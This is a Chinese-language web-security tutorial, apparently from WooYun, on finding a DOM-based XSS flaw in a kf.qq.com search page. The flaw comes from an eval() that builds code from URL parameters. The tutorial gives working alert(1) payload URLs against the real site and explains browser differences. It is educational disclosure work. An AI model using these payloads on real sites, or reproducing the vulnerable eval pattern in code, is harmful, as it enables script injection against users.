WooYun.org

1. 我们直接上例子。

http://kf.qq.com/search_app.shtml?key=aaaaa

和前面的不同之处，这次我们搜索源代码和调试工具都看不到任何东西。

2. 这个时候，我们可以看看Console，看看有没有其它有用的东西～～
一般来说，默认情况下，是不会有问题的。我们可以给参数加一些特殊符号。
这里我比较习惯用\，因为这玩意比较好使。当然你也可以用其它比较特殊的符号，比如双引号，单引号，只是被过滤掉的几率比较大。
这个时候，我们看看Console里面，多出了一条错误。

我们可以点右侧，直接定位到错误代码。

3. 点进去后，可以看到是哪个地方出错了。

我们来看看这段代码：

var getarg = function()
{
	var url = window.location.href;
	var allargs = url.split("?")[1];
	if (allargs!=null && allargs.indexOf("=")>0)
	{
		var args = allargs.split("&");
		for(var i=0; i<args.length; i++)
		{
			var arg = args[i].split("=");
			eval('this.'+arg[0]+'="'+arg[1]+'";');
		}
	}
};

和上一节教程类似，这段代码，实际上也是一个获取地址栏参数的代码。
比如，地址栏是key=aaaa; 那么 arg[0] 就是字符串'key', arg[1] 就是字符串 'aaaa';
那么eval这句就是执行的 eval('this.key="aaaa";')

这样一来 , this.key="aaaa";这句就被执行了。
4. 如果这里我们把 key 换个写法呢？
this.key="aaaa";
this.key;alert(1);//="aaaa";
如下图：

那么是不是将会执行我们的alert(1);呢？
5. 根据上面内容，我们可以构造代码。

http://kf.qq.com/search_app.shtml?key;alert(1);//=aaaa

HOHO～，如我们所愿的弹出了。

6. 不知道看完上面的，有没有娃注意到，后面的 aaaa 不是也可以构造吗？
this.key="aaaa"; 换为
this.key="aaa";alert(1);//";
确实是如此 :)

http://kf.qq.com/search_app.shtml?key=aaa";alert(1);//

这个在IE下一样是可以的。
但是这样在chrome下却不行。 原因其实上面一节教程也提到过。
chrome会自动对", >, < 进行转换。
因而
this.key="aaa";alert(1);//";
会变成
this.key="aaa%22;alert(1);//";
从而失效。
7.上面就是本篇教程了，我们再来看看题外话。
其实以上问题，不是单独存在的。在另外一个页面也是存在的。
更多内容，参见本篇漏洞修复。